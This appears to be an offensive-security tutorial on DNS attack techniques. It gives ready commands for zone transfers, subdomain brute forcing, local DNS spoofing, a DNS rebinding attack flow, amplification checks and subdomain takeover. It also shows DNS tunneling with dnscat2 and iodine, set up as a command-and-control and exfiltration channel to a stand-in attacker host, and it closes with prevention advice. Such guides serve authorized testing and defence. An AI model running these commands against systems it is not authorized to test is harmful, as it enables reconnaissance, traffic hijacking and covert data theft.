DNS (Domain Name System) is a critical but often overlooked attack surface in penetration testing. Misconfigured DNS servers leak internal network information through zone transfers, unpatched resolvers are vulnerable to cache poisoning, and DNS tunneling allows attackers to exfiltrate data and establish C2 channels through otherwise restricted firewalls. This guide covers DNS attack techniques from an offensive security perspective.
DNS Zone Transfer (AXFR)
Zone transfers replicate DNS records between primary and secondary nameservers. Misconfigured servers allow any IP to request a full zone dump, revealing all subdomains, internal IPs, mail servers, and infrastructure layout:
# Manual zone transfer with dig
dig axfr @ns1.target.com target.com
# Using host command
host -t axfr target.com ns1.target.com
# Using nmap NSE script
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=target.com -p 53 ns1.target.com
# Automated with dnsenum
dnsenum --dnsserver ns1.target.com --enum target.comA successful zone transfer returns every DNS record for the domain — invaluable for mapping an attack surface during reconnaissance. Even partial information from failed transfers can reveal nameserver hostnames.
DNS Enumeration and Subdomain Discovery
# Passive subdomain enumeration
amass enum -passive -d target.com
subfinder -d target.com -all -recursive
# Active DNS brute forcing
fedns -d target.com -w /usr/share/wordlists/subdomains.txt
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Check for wildcard records (affects brute force accuracy)
dig A randomstring12345.target.com
# Reverse DNS lookup on IP range
nmap -sL 192.168.1.0/24 | grep '('DNS Cache Poisoning
Cache poisoning injects forged DNS responses into a resolver’s cache, redirecting users to attacker-controlled servers. The Kaminsky attack (2008) revealed fundamental weaknesses in DNS. Modern resolvers mitigate this with source port randomization and 0x20 encoding, but misconfigurations still create exposure:
# Check if resolver is open (accepts queries from outside)
dig @target-resolver.com target.com
# Check DNSSEC status
dig +dnssec A target.com
dig DS target.com @8.8.8.8
# Test for 0x20 encoding support
dig @resolver TaRgEt.CoM # Different case in response = 0x20 enabled
# Using dnsspoof (Ettercap/Dsniff) for local network poisoning
dnsspoof -i eth0 -f hosts.txtDNS Rebinding
DNS rebinding bypasses Same-Origin Policy by making an attacker’s domain resolve to a victim’s internal IP. The attack flow:
1. Attacker registers attacker.com with very low TTL (1 second)
2. Victim visits attacker.com - resolves to attacker's IP
3. JavaScript on attacker.com loads
4. DNS TTL expires; attacker changes A record to 192.168.1.1
5. JavaScript makes XHR to attacker.com - browser resolves to 192.168.1.1
6. Same-origin policy bypassed - attacker reads internal admin panel
# Tools for DNS rebinding attacks
# Singularity of Origin: https://github.com/nccgroup/singularity
# rebind: https://github.com/progrium/localtunnelDNS Tunneling
DNS tunneling encodes data in DNS queries and responses, bypassing firewalls that block other protocols but allow DNS. Used for C2 communication and data exfiltration:
# Using dnscat2 for C2 over DNS
# Attacker side (requires domain with NS record pointing to your server)
ruby ./dnscat2.rb --dns host=YOUR_IP,port=53 --secret=mysecret target.com
# Client side (compromised machine)
./dnscat --secret=mysecret target.com
# Using iodine for IP-over-DNS tunnel
# Server
iodined -f 10.0.0.1 dns.attacker.com
# Client
iodine -f dns.attacker.com
# Results in a tun0 interface - full TCP/IP over DNSDNS Amplification (DDoS)
# Check if resolver allows amplification
# ANY query returns large response
dig ANY target.com @open-resolver.com
# Check amplification factor
# Request size ~40 bytes, response can be 4000+ bytes = 100x amplification
# Used in DDoS attacks with spoofed source IP (not for offensive pentest)
# Detection: check if your DNS server responds to queries from external IPs
dig @YOUR_DNS_SERVER google.comSubdomain Takeover
# Find dangling CNAME records
for sub in $(cat subdomains.txt); do
cname=$(dig CNAME $sub | grep CNAME | awk '{print $5}')
if [ ! -z "$cname" ]; then
echo "$sub -> $cname"
# Check if CNAME target is unregistered/unclaimed
fi
done
# Tools
subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl
nuclei -l subdomains.txt -t takeovers/Prevention
Restrict zone transfers to authorized secondary nameservers only (ACL-based). Implement DNSSEC to cryptographically authenticate DNS responses and prevent cache poisoning. Disable open recursion on authoritative nameservers. Monitor for high-volume DNS queries to a single domain — a signal of tunneling. Use DNS monitoring tools like Cisco Umbrella or Cloudflare Gateway for anomaly detection. Regularly audit CNAME records pointing to third-party services that may become unclaimed.
Conclusion
DNS offers multiple attack vectors: zone transfers for reconnaissance, cache poisoning for traffic redirection, DNS tunneling for covert C2 channels, and DNS rebinding for Same-Origin Policy bypass. During penetration tests, always attempt zone transfers on discovered nameservers, probe for open resolvers, and test for subdomain takeover via dangling CNAME records. Defensive teams should enforce zone transfer ACLs, deploy DNSSEC, and monitor for DNS anomalies.